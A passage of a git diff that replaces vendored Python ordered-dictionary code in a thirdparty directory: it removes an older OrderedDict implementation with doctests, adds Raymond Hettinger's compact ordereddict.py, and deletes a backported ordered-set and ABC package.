# rename sequence entry - value = self[old_key] - old_idx = self._sequence.index(old_key) - self._sequence[old_idx] = new_key - # rename internal dict entry - dict.__delitem__(self, old_key) - dict.__setitem__(self, new_key, value) - - def setitems(self, items): - """ - This method allows you to set the items in the dict. - - It takes a list of tuples - of the same sort returned by the ``items`` - method. - - >>> d = OrderedDict() - >>> d.setitems(((3, 1), (2, 3), (1, 2))) - >>> d - OrderedDict([(3, 1), (2, 3), (1, 2)]) - """ - self.clear() - # FIXME: this allows you to pass in an OrderedDict as well :-) - self.update(items) - - def setkeys(self, keys): - """ - ``setkeys`` all ows you to pass in a new list of keys which will - replace the current set. This must contain the same set of keys, but - need not be in the same order. - - If you pass in new keys that don't match, a ``KeyError`` will be - raised. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.keys() - [1, 3, 2] - >>> d.setkeys((1, 2, 3)) - >>> d - OrderedDict([(1, 3), (2, 1), (3, 2)]) - >>> d.setkeys(['a', 'b', 'c']) - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - """ - # FIXME: Efficiency? (use set for Python 2.4 :-) - # NOTE: list(keys) rather than keys[:] because keys[:] returns - # a tuple, if keys is a tuple. - kcopy = list(keys) - kcopy.sort() - self._sequence.sort() - if kcopy != self._sequence: - raise KeyError('Keylist is not the same as current keylist.') - # NOTE: This makes the _sequence attribute a new object, instead - # of changing it in place. - # FIXME: efficiency? - self._sequence = list(keys) - - def setvalues(self, values): - """ - You can pass in a list of values, which will replace the - current list. The value list must be the same len as the OrderedDict. - - (Or a ``ValueError`` is raised.) - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.setvalues((1, 2, 3)) - >>> d - OrderedDict([(1, 1), (3, 2), (2, 3)]) - >>> d.setvalues([6]) - Traceback (most recent call last): - ValueError: Value list is not the same length as the OrderedDict. - """ - if len(values) != len(self): - # FIXME: correct error to raise? - raise ValueError('Value list is not the same length as the ' - 'OrderedDict.') - self.update(zip(self, values)) - -### Sequence Methods ### - - def index(self, key): - """ - Return the position of the specified key in the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.index(3) - 1 - >>> d.index(4) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - """ - return self._sequence.index(key) - - def insert(self, index, key, value): - """ - Takes ``index``, ``key``, and ``value`` as arguments. - - Sets ``key`` to ``value``, so that ``key`` is at position ``index`` in - the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.insert(0, 4, 0) - >>> d - OrderedDict([(4, 0), (1, 3), (3, 2), (2, 1)]) - >>> d.insert(0, 2, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2)]) - >>> d.insert(8, 8, 1) - >>> d - OrderedDict([(2, 1), (4, 0), (1, 3), (3, 2), (8, 1)]) - """ - if key in self: - # FIXME: efficiency? - del self[key] - self._sequence.insert(index, key) - dict.__setitem__(self, key, value) - - def reverse(self): - """ - Reverse the order of the OrderedDict. - - >>> d = OrderedDict(((1, 3), (3, 2), (2, 1))) - >>> d.reverse() - >>> d - OrderedDict([(2, 1), (3, 2), (1, 3)]) - """ - self._sequence.reverse() - - def sort(self, *args, **kwargs): - """ - Sort the key order in the OrderedDict. - - This method takes the same arguments as the ``list.sort`` method on - your version of Python. - - >>> d = OrderedDict(((4, 1), (2, 2), (3, 3), (1, 4))) - >>> d.sort() - >>> d - OrderedDict([(1, 4), (2, 2), (3, 3), (4, 1)]) - """ - self._sequence.sort(*args, **kwargs) - -if INTP_VER >= (2, 7): - from collections import OrderedDict -else: - OrderedDict = _OrderedDict - -class Keys(object): - # FIXME: should this object be a subclass of list? - """ - Custom object for accessing the keys of an OrderedDict. - - Can be called like the normal ``OrderedDict.keys`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the keys method.""" - return self._main._keys() - - def __getitem__(self, index): - """Fetch the key at position i.""" - # NOTE: this automatically supports slicing :-) - return self._main._sequence[index] - - def __setitem__(self, index, name): - """ - You cannot assign to keys, but you can do slice assignment to re-order - them. - - You can only do slice assignment if the new set of keys is a reordering - of the original set. - """ - if isinstance(index, types.SliceType): - # FIXME: efficiency? - # check length is the same - indexes = range(len(self._main._sequence))[index] - if len(indexes) != len(name): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(indexes))) - # check they are the same keys - # FIXME: Use set - old_keys = self._main._sequence[index] - new_keys = list(name) - old_keys.sort() - new_keys.sort() - if old_keys != new_keys: - raise KeyError('Keylist is not the same as current keylist.') - orig_vals = [self._main[k] for k in name] - del self._main[index] - vals = zip(indexes, name, orig_vals) - vals.sort() - for i, k, v in vals: - if self._main.strict and k in self._main: - raise ValueError('slice assignment must be from ' - 'unique keys') - self._main.insert(i, k, v) - else: - raise ValueError('Cannot assign to keys') - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main._sequence) - - # FIXME: do we need to check if we are comparing with another ``Keys`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main._sequence < other - def __le__(self, other): return self._main._sequence <= other - def __eq__(self, other): return self._main._sequence == other - def __ne__(self, other): return self._main._sequence != other - def __gt__(self, other): return self._main._sequence > other - def __ge__(self, other): return self._main._sequence >= other - # FIXME: do we need __cmp__ as well as rich comparisons? - def __cmp__(self, other): return cmp(self._main._sequence, other) - - def __contains__(self, item): return item in self._main._sequence - def __len__(self): return len(self._main._sequence) - def __iter__(self): return self._main.iterkeys() - def count(self, item): return self._main._sequence.count(item) - def index(self, item, *args): return self._main._sequence.index(item, *args) - def reverse(self): self._main._sequence.reverse() - def sort(self, *args, **kwds): self._main._sequence.sort(*args, **kwds) - def __mul__(self, n): return self._main._sequence*n - __rmul__ = __mul__ - def __add__(self, other): return self._main._sequence + other - def __radd__(self, other): return other + self._main._sequence - - ## following methods not implemented for keys ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from keys') - def __iadd__(self, other): raise TypeError('Can\'t add in place to keys') - def __imul__(self, n): raise TypeError('Can\'t multiply keys in place') - def append(self, item): raise TypeError('Can\'t append items to keys') - def insert(self, i, item): raise TypeError('Can\'t insert items into keys') - def pop(self, i=-1): raise TypeError('Can\'t pop items from keys') - def remove(self, item): raise TypeError('Can\'t remove items from keys') - def extend(self, other): raise TypeError('Can\'t extend keys') - -class Items(object): - """ - Custom object for accessing the items of an OrderedDict. - - Can be called like the normal ``OrderedDict.items`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the items method.""" - return self._main._items() - - def __getitem__(self, index): - """Fetch the item at position i.""" - if isinstance(index, types.SliceType): - # fetching a slice returns an OrderedDict - return self._main[index].items() - key = self._main._sequence[index] - return (key, self._main[key]) - - def __setitem__(self, index, item): - """Set item at position i to item.""" - if isinstance(index, types.SliceType): - # NOTE: item must be an iterable (list of tuples) - self._main[index] = OrderedDict(item) - else: - # FIXME: Does this raise a sensible error? - orig = self._main.keys[index] - key, value = item - if self._main.strict and key in self and (key != orig): - raise ValueError('slice assignment must be from ' - 'unique keys') - # delete the current one - del self._main[self._main._sequence[index]] - self._main.insert(index, key, value) - - def __delitem__(self, i): - """Delete the item at position i.""" - key = self._main._sequence[i] - if isinstance(i, types.SliceType): - for k in key: - # FIXME: efficiency? - del self._main[k] - else: - del self._main[key] - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.items()) - - # FIXME: do we need to check if we are comparing with another ``Items`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.items() < other - def __le__(self, other): return self._main.items() <= other - def __eq__(self, other): return self._main.items() == other - def __ne__(self, other): return self._main.items() != other - def __gt__(self, other): return self._main.items() > other - def __ge__(self, other): return self._main.items() >= other - def __cmp__(self, other): return cmp(self._main.items(), other) - - def __contains__(self, item): return item in self._main.items() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.iteritems() - def count(self, item): return self._main.items().count(item) - def index(self, item, *args): return self._main.items().index(item, *args) - def reverse(self): self._main.reverse() - def sort(self, *args, **kwds): self._main.sort(*args, **kwds) - def __mul__(self, n): return self._main.items()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.items() + other - def __radd__(self, other): return other + self._main.items() - - def append(self, item): - """Add an item to the end.""" - # FIXME: this is only append if the key isn't already present - key, value = item - self._main[key] = value - - def insert(self, i, item): - key, value = item - self._main.insert(i, key, value) - - def pop(self, i=-1): - key = self._main._sequence[i] - return (key, self._main.pop(key)) - - def remove(self, item): - key, value = item - try: - assert value == self._main[key] - except (KeyError, AssertionError): - raise ValueError('ValueError: list.remove(x): x not in list') - else: - del self._main[key] - - def extend(self, other): - # FIXME: is only a true extend if none of the keys already present - for item in other: - key, value = item - self._main[key] = value - - def __iadd__(self, other): - self.extend(other) - - ## following methods not implemented for items ## - - def __imul__(self, n): raise TypeError('Can\'t multiply items in place') - -class Values(object): - """ - Custom object for accessing the values of an OrderedDict. - - Can be called like the normal ``OrderedDict.values`` method, but also - supports indexing and sequence methods. - """ - - def __init__(self, main): - self._main = main - - def __call__(self): - """Pretend to be the values method.""" - return self._main._values() - - def __getitem__(self, index): - """Fetch the value at position i.""" - if isinstance(index, types.SliceType): - return [self._main[key] for key in self._main._sequence[index]] - else: - return self._main[self._main._sequence[index]] - - def __setitem__(self, index, value): - """ - Set the value at position i to value. - - You can only do slice assignment to values if you supply a sequence of - equal length to the slice you are replacing. - """ - if isinstance(index, types.SliceType): - keys = self._main._sequence[index] - if len(keys) != len(value): - raise ValueError('attempt to assign sequence of size %s ' - 'to slice of size %s' % (len(name), len(keys))) - # FIXME: efficiency? Would be better to calculate the indexes - # directly from the slice object - # NOTE: the new keys can collide with existing keys (or even - # contain duplicates) - these will overwrite - for key, val in zip(keys, value): - self._main[key] = val - else: - self._main[self._main._sequence[index]] = value - - ### following methods pinched from UserList and adapted ### - def __repr__(self): return repr(self._main.values()) - - # FIXME: do we need to check if we are comparing with another ``Values`` - # object? (like the __cast method of UserList) - def __lt__(self, other): return self._main.values() < other - def __le__(self, other): return self._main.values() <= other - def __eq__(self, other): return self._main.values() == other - def __ne__(self, other): return self._main.values() != other - def __gt__(self, other): return self._main.values() > other - def __ge__(self, other): return self._main.values() >= other - def __cmp__(self, other): return cmp(self._main.values(), other) - - def __contains__(self, item): return item in self._main.values() - def __len__(self): return len(self._main._sequence) # easier :-) - def __iter__(self): return self._main.itervalues() - def count(self, item): return self._main.values().count(item) - def index(self, item, *args): return self._main.values().index(item, *args) - - def reverse(self): - """Reverse the values""" - vals = self._main.values() - vals.reverse() - # FIXME: efficiency - self[:] = vals - - def sort(self, *args, **kwds): - """Sort the values.""" - vals = self._main.values() - vals.sort(*args, **kwds) - self[:] = vals - - def __mul__(self, n): return self._main.values()*n - __rmul__ = __mul__ - def __add__(self, other): return self._main.values() + other - def __radd__(self, other): return other + self._main.values() - - ## following methods not implemented for values ## - def __delitem__(self, i): raise TypeError('Can\'t delete items from values') - def __iadd__(self, other): raise TypeError('Can\'t add in place to values') - def __imul__(self, n): raise TypeError('Can\'t multiply values in place') - def append(self, item): raise TypeError('Can\'t append items to values') - def insert(self, i, item): raise TypeError('Can\'t insert items into values') - def pop(self, i=-1): raise TypeError('Can\'t pop items from values') - def remove(self, item): raise TypeError('Can\'t remove items from values') - def extend(self, other): raise TypeError('Can\'t extend values') - -class SequenceOrderedDict(OrderedDict): - """ - Experimental version of OrderedDict that has a custom object for ``keys``, - ``values``, and ``items``. - - These are callable sequence objects that work as methods, or can be - manipulated directly as sequences. - - Test for ``keys``, ``items`` and ``values``. - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys - [1, 2, 3] - >>> d.keys() - [1, 2, 3] - >>> d.setkeys((3, 2, 1)) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.setkeys((1, 2, 3)) - >>> d.keys[0] - 1 - >>> d.keys[:] - [1, 2, 3] - >>> d.keys[-1] - 3 - >>> d.keys[-2] - 2 - >>> d.keys[0:2] = [2, 1] - >>> d - SequenceOrderedDict([(2, 3), (1, 2), (3, 4)]) - >>> d.keys.reverse() - >>> d.keys - [3, 1, 2] - >>> d.keys = [1, 2, 3] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.keys = [3, 1, 2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2), (2, 3)]) - >>> a = SequenceOrderedDict() - >>> b = SequenceOrderedDict() - >>> a.keys == b.keys - 1 - >>> a['a'] = 3 - >>> a.keys == b.keys - 0 - >>> b['a'] = 3 - >>> a.keys == b.keys - 1 - >>> b['b'] = 3 - >>> a.keys == b.keys - 0 - >>> a.keys > b.keys - 0 - >>> a.keys < b.keys - 1 - >>> 'a' in a.keys - 1 - >>> len(b.keys) - 2 - >>> 'c' in d.keys - 0 - >>> 1 in d.keys - 1 - >>> [v for v in d.keys] - [3, 1, 2] - >>> d.keys.sort() - >>> d.keys - [1, 2, 3] - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4)), strict=True) - >>> d.keys[::-1] = [1, 2, 3] - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.keys[:2] - [3, 2] - >>> d.keys[:2] = [1, 3] - Traceback (most recent call last): - KeyError: 'Keylist is not the same as current keylist.' - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.values - [2, 3, 4] - >>> d.values() - [2, 3, 4] - >>> d.setvalues((4, 3, 2)) - >>> d - SequenceOrderedDict([(1, 4), (2, 3), (3, 2)]) - >>> d.values[::-1] - [2, 3, 4] - >>> d.values[0] - 4 - >>> d.values[-2] - 3 - >>> del d.values[0] - Traceback (most recent call last): - TypeError: Can't delete items from values - >>> d.values[::2] = [2, 4] - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> 7 in d.values - 0 - >>> len(d.values) - 3 - >>> [val for val in d.values] - [2, 3, 4] - >>> d.values[-1] = 2 - >>> d.values.count(2) - 2 - >>> d.values.index(2) - 0 - >>> d.values[-1] = 7 - >>> d.values - [2, 3, 7] - >>> d.values.reverse() - >>> d.values - [7, 3, 2] - >>> d.values.sort() - >>> d.values - [2, 3, 7] - >>> d.values.append('anything') - Traceback (most recent call last): - TypeError: Can't append items to values - >>> d.values = (1, 2, 3) - >>> d - SequenceOrderedDict([(1, 1), (2, 2), (3, 3)]) - - >>> d = SequenceOrderedDict(((1, 2), (2, 3), (3, 4))) - >>> d - SequenceOrderedDict([(1, 2), (2, 3), (3, 4)]) - >>> d.items() - [(1, 2), (2, 3), (3, 4)] - >>> d.setitems([(3, 4), (2 ,3), (1, 2)]) - >>> d - SequenceOrderedDict([(3, 4), (2, 3), (1, 2)]) - >>> d.items[0] - (3, 4) - >>> d.items[:-1] - [(3, 4), (2, 3)] - >>> d.items[1] = (6, 3) - >>> d.items - [(3, 4), (6, 3), (1, 2)] - >>> d.items[1:2] = [(9, 9)] - >>> d - SequenceOrderedDict([(3, 4), (9, 9), (1, 2)]) - >>> del d.items[1:2] - >>> d - SequenceOrderedDict([(3, 4), (1, 2)]) - >>> (3, 4) in d.items - 1 - >>> (4, 3) in d.items - 0 - >>> len(d.items) - 2 - >>> [v for v in d.items] - [(3, 4), (1, 2)] - >>> d.items.count((3, 4)) - 1 - >>> d.items.index((1, 2)) - 1 - >>> d.items.index((2, 1)) - Traceback (most recent call last): - ValueError: list.index(x): x not in list - >>> d.items.reverse() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.reverse() - >>> d.items.sort() - >>> d.items - [(1, 2), (3, 4)] - >>> d.items.append((5, 6)) - >>> d.items - [(1, 2), (3, 4), (5, 6)] - >>> d.items.insert(0, (0, 0)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (5, 6)] - >>> d.items.insert(-1, (7, 8)) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8), (5, 6)] - >>> d.items.pop() - (5, 6) - >>> d.items - [(0, 0), (1, 2), (3, 4), (7, 8)] - >>> d.items.remove((1, 2)) - >>> d.items - [(0, 0), (3, 4), (7, 8)] - >>> d.items.extend([(1, 2), (5, 6)]) - >>> d.items - [(0, 0), (3, 4), (7, 8), (1, 2), (5, 6)] - """ - - def __init__(self, init_val=(), strict=True): - OrderedDict.__init__(self, init_val, strict=strict) - self._keys = self.keys - self._values = self.values - self._items = self.items - self.keys = Keys(self) - self.values = Values(self) - self.items = Items(self) - self._att_dict = { - 'keys': self.setkeys, - 'items': self.setitems, - 'values': self.setvalues, - } - - def __setattr__(self, name, value): - """Protect keys, items, and values.""" - if not '_att_dict' in self.__dict__: - object.__setattr__(self, name, value) - else: - try: - fun = self._att_dict[name] - except KeyError: - OrderedDict.__setattr__(self, name, value) - else: - fun(value) - -if __name__ == '__main__': - if INTP_VER < (2, 3): - raise RuntimeError("Tests require Python v.2.3 or later") - # turn off warnings for tests - warnings.filterwarnings('ignore') - # run the code tests in doctest format - import doctest - m = sys.modules.get('__main__') - globs = m.__dict__.copy() - globs.update({ - 'INTP_VER': INTP_VER, - }) - doctest.testmod(m, globs=globs) - diff --git a/thirdparty/odict/ordereddict.py b/thirdparty/odict/ordereddict.py new file mode 100644 index 00000000000..1cdd6f46edc --- /dev/null +++ b/thirdparty/odict/ordereddict.py @@ -0,0 +1,133 @@ +# Copyright (c) 2009 Raymond Hettinger +# +# Permission is hereby granted, free of charge, to any person +# obtaining a copy of this software and associated documentation files +# (the "Software"), to deal in the Software without restriction, +# including without limitation the rights to use, copy, modify, merge, +# publish, distribute, sublicense, and/or sell copies of the Software, +# and to permit persons to whom the Software is furnished to do so, +# subject to the following conditions: +# +# The above copyright notice and this permission notice shall be +# included in all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES +# OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND +# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT +# HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +# WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR +# OTHER DEALINGS IN THE SOFTWARE. + +try: + from UserDict import DictMixin +except ImportError: + try: + from collections.abc import MutableMapping as DictMixin + except ImportError: + from collections import MutableMapping as DictMixin + +class OrderedDict(dict, DictMixin): + + def __init__(self, *args, **kwds): + if len(args) > 1: + raise TypeError('expected at most 1 arguments, got %d' % len(args)) + try: + self.__end + except AttributeError: + self.clear() + self.update(*args, **kwds) + + def clear(self): + self.__end = end = [] + end += [None, end, end] # sentinel node for doubly linked list + self.__map = {} # key --> [key, prev, next] + dict.clear(self) + + def __setitem__(self, key, value): + if key not in self: + end = self.__end + curr = end[1] + curr[2] = end[1] = self.__map[key] = [key, curr, end] + dict.__setitem__(self, key, value) + + def __delitem__(self, key): + dict.__delitem__(self, key) + key, prev, next = self.__map.pop(key) + prev[2] = next + next[1] = prev + + def __iter__(self): + end = self.__end + curr = end[2] + while curr is not end: + yield curr[0] + curr = curr[2] + + def __reversed__(self): + end = self.__end + curr = end[1] + while curr is not end: + yield curr[0] + curr = curr[1] + + def popitem(self, last=True): + if not self: + raise KeyError('dictionary is empty') + if last: + key = next(reversed(self)) + else: + key = next(iter(self)) + value = self.pop(key) + return key, value + + def __reduce__(self): + items = [[k, self[k]] for k in self] + tmp = self.__map, self.__end + del self.__map, self.__end + inst_dict = vars(self).copy() + self.__map, self.__end = tmp + if inst_dict: + return (self.__class__, (items,), inst_dict) + return self.__class__, (items,) + + def keys(self): + return list(self) + + setdefault = DictMixin.setdefault + update = DictMixin.update + pop = DictMixin.pop + values = DictMixin.values + items = DictMixin.items + iterkeys = DictMixin.iterkeys + itervalues = DictMixin.itervalues + iteritems = DictMixin.iteritems + + def __repr__(self): + if not self: + return '%s()' % (self.__class__.__name__,) + return '%s(%r)' % (self.__class__.__name__, list(self.items())) + + def copy(self): + return self.__class__(self) + + @classmethod + def fromkeys(cls, iterable, value=None): + d = cls() + for key in iterable: + d[key] = value + return d + + def __eq__(self, other): + if isinstance(other, OrderedDict): + if len(self) != len(other): + return False + for p, q in zip(self.items(), other.items()): + if p != q: + return False + return True + return dict.__eq__(self, other) + + def __ne__(self, other): + return not self == other diff --git a/thirdparty/oset/LICENSE.txt b/thirdparty/oset/LICENSE.txt deleted file mode 100644 index aef85dda33c..00000000000 --- a/thirdparty/oset/LICENSE.txt +++ /dev/null @@ -1,29 +0,0 @@ -License -======= - -Copyright (c) 2009, Raymond Hettinger, and others -All rights reserved. - -Package structured based on the one developed to odict -Copyright (c) 2010, BlueDynamics Alliance, Austria - - -* Redistributions of source code must retain the above copyright notice, this - list of conditions and the following disclaimer. -* Redistributions in binary form must reproduce the above copyright notice, this - list of conditions and the following disclaimer in the documentation and/or - other materials provided with the distribution. -* Neither the name of the BlueDynamics Alliance nor the names of its - contributors may be used to endorse or promote products derived from this - software without specific prior written permission. - -THIS SOFTWARE IS PROVIDED BY BlueDynamics Alliance ``AS IS`` AND ANY -EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -DISCLAIMED. IN NO EVENT SHALL BlueDynamics Alliance BE LIABLE FOR ANY -DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND -ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/thirdparty/oset/__init__.py b/thirdparty/oset/__init__.py deleted file mode 100644 index 688b31e9230..00000000000 --- a/thirdparty/oset/__init__.py +++ /dev/null @@ -1,3 +0,0 @@ -"""Main Ordered Set module """ - -from pyoset import oset diff --git a/thirdparty/oset/_abc.py b/thirdparty/oset/_abc.py deleted file mode 100644 index cf265cf0505..00000000000 --- a/thirdparty/oset/_abc.py +++ /dev/null @@ -1,476 +0,0 @@ -#!/usr/bin/env python -# -*- mode:python; tab-width: 2; coding: utf-8 -*- - -"""Partially backported python ABC classes""" - -from __future__ import absolute_import - -import sys -import types - -if sys.version_info > (2, 6): - raise ImportError("Use native ABC classes istead of this one.") - - -# Instance of old-style class -class _C: - pass - -_InstanceType = type(_C()) - - -def abstractmethod(funcobj): - """A decorator indicating abstract methods. - - Requires that the metaclass is ABCMeta or derived from it. A - class that has a metaclass derived from ABCMeta cannot be - instantiated unless all of its abstract methods are overridden. - The abstract methods can be called using any of the normal - 'super' call mechanisms. - - Usage: - - class C: - __metaclass__ = ABCMeta - @abstractmethod - def my_abstract_method(self, ...): - ... - """ - funcobj.__isabstractmethod__ = True - return funcobj - - -class ABCMeta(type): - - """Metaclass for defining Abstract Base Classes (ABCs). - - Use this metaclass to create an ABC. An ABC can be subclassed - directly, and then acts as a mix-in class. You can also register - unrelated concrete classes (even built-in classes) and unrelated - ABCs as 'virtual subclasses' -- these and their descendants will - be considered subclasses of the registering ABC by the built-in - issubclass() function, but the registering ABC won't show up in - their MRO (Method Resolution Order) nor will method - implementations defined by the registering ABC be callable (not - even via super()). - - """ - - # A global counter that is incremented each time a class is - # registered as a virtual subclass of anything. It forces the - # negative cache to be cleared before its next use. - _abc_invalidation_counter = 0 - - def __new__(mcls, name, bases, namespace): - cls = super(ABCMeta, mcls).__new__(mcls, name, bases, namespace) - # Compute set of abstract method names - abstracts = set(name - for name, value in namespace.items() - if getattr(value, "__isabstractmethod__", False)) - for base in bases: - for name in getattr(base, "__abstractmethods__", set()): - value = getattr(cls, name, None) - if getattr(value, "__isabstractmethod__", False): - abstracts.add(name) - cls.__abstractmethods__ = frozenset(abstracts) - # Set up inheritance registry - cls._abc_registry = set() - cls._abc_cache = set() - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - return cls - - def register(cls, subclass): - """Register a virtual subclass of an ABC.""" - if not isinstance(subclass, (type, types.ClassType)): - raise TypeError("Can only register classes") - if issubclass(subclass, cls): - return # Already a subclass - # Subtle: test for cycles *after* testing for "already a subclass"; - # this means we allow X.register(X) and interpret it as a no-op. - if issubclass(cls, subclass): - # This would create a cycle, which is bad for the algorithm below - raise RuntimeError("Refusing to create an inheritance cycle") - cls._abc_registry.add(subclass) - ABCMeta._abc_invalidation_counter += 1 # Invalidate negative cache - - def _dump_registry(cls, file=None): - """Debug helper to print the ABC registry.""" - print >> file, "Class: %s.%s" % (cls.__module__, cls.__name__) - print >> file, "Inv.counter: %s" % ABCMeta._abc_invalidation_counter - for name in sorted(cls.__dict__.keys()): - if name.startswith("_abc_"): - value = getattr(cls, name) - print >> file, "%s: %r" % (name, value) - - def __instancecheck__(cls, instance): - """Override for isinstance(instance, cls).""" - # Inline the cache checking when it's simple. - subclass = getattr(instance, '__class__', None) - if subclass in cls._abc_cache: - return True - subtype = type(instance) - # Old-style instances - if subtype is _InstanceType: - subtype = subclass - if subtype is subclass or subclass is None: - if (cls._abc_negative_cache_version == - ABCMeta._abc_invalidation_counter and - subtype in cls._abc_negative_cache): - return False - # Fall back to the subclass check. - return cls.__subclasscheck__(subtype) - return (cls.__subclasscheck__(subclass) or - cls.__subclasscheck__(subtype)) - - def __subclasscheck__(cls, subclass): - """Override for issubclass(subclass, cls).""" - # Check cache - if subclass in cls._abc_cache: - return True - # Check negative cache; may have to invalidate - if cls._abc_negative_cache_version < ABCMeta._abc_invalidation_counter: - # Invalidate the negative cache - cls._abc_negative_cache = set() - cls._abc_negative_cache_version = ABCMeta._abc_invalidation_counter - elif subclass in cls._abc_negative_cache: - return False - # Check the subclass hook - ok = cls.__subclasshook__(subclass) - if ok is not NotImplemented: - assert isinstance(ok, bool) - if ok: - cls._abc_cache.add(subclass) - else: - cls._abc_negative_cache.add(subclass) - return ok - # Check if it's a direct subclass - if cls in getattr(subclass, '__mro__', ()): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a registered class (recursive) - for rcls in cls._abc_registry: - if issubclass(subclass, rcls): - cls._abc_cache.add(subclass) - return True - # Check if it's a subclass of a subclass (recursive) - for scls in cls.__subclasses__(): - if issubclass(subclass, scls): - cls._abc_cache.add(subclass) - return True - # No dice; update negative cache - cls._abc_negative_cache.add(subclass) - return False - - -def _hasattr(C, attr): - try: - return any(attr in B.__dict__ for B in C.__mro__) - except AttributeError: - # Old-style class - return hasattr(C, attr) - - -class Sized: - __metaclass__ = ABCMeta - - @abstractmethod - def __len__(self): - return 0 - - @classmethod - def __subclasshook__(cls, C): - if cls is Sized: - if _hasattr(C, "__len__"): - return True - return NotImplemented - - -class Container: - __metaclass__ = ABCMeta - - @abstractmethod - def __contains__(self, x): - return False - - @classmethod - def __subclasshook__(cls, C): - if cls is Container: - if _hasattr(C, "__contains__"): - return True - return NotImplemented - - -class Iterable: - __metaclass__ = ABCMeta - - @abstractmethod - def __iter__(self): - while False: - yield None - - @classmethod - def __subclasshook__(cls, C): - if cls is Iterable: - if _hasattr(C, "__iter__"): - return True - return NotImplemented - -Iterable.register(str) - - -class Set(Sized, Iterable, Container): - """A set is a finite, iterable container. - - This class provides concrete generic implementations of all - methods except for __contains__, __iter__ and __len__. - - To override the comparisons (presumably for speed, as the - semantics are fixed), all you have to do is redefine __le__ and - then the other operations will automatically follow suit. - """ - - def __le__(self, other): - if not isinstance(other, Set): - return NotImplemented - if len(self) > len(other): - return False - for elem in self: - if elem not in other: - return False - return True - - def __lt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) < len(other) and self.__le__(other) - - def __gt__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other < self - - def __ge__(self, other): - if not isinstance(other, Set): - return NotImplemented - return other <= self - - def __eq__(self, other): - if not isinstance(other, Set): - return NotImplemented - return len(self) == len(other) and self.__le__(other) - - def __ne__(self, other): - return not (self == other) - - @classmethod - def _from_iterable(cls, it): - '''Construct an instance of the class from any iterable input. - - Must override this method if the class constructor signature - does not accept an iterable for an input. - ''' - return cls(it) - - def __and__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - return self._from_iterable(value for value in other if value in self) - - def isdisjoint(self, other): - for value in other: - if value in self: - return False - return True - - def __or__(self, other): - if not isinstance(other, Iterable): - return NotImplemented - chain = (e for s in (self, other) for e in s) - return self._from_iterable(chain) - - def __sub__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return self._from_iterable(value for value in self - if value not in other) - - def __xor__(self, other): - if not isinstance(other, Set): - if not isinstance(other, Iterable): - return NotImplemented - other = self._from_iterable(other) - return (self - other) | (other - self) - - # Sets are not hashable by default, but subclasses can change this - __hash__ = None - - def _hash(self): - """Compute the hash value of a set. - - Note that we don't define __hash__: not all sets are hashable. - But if you define a hashable set type, its __hash__ should - call this function. - - This must be compatible __eq__. - - All sets ought to compare equal if they contain the same - elements, regardless of how they are 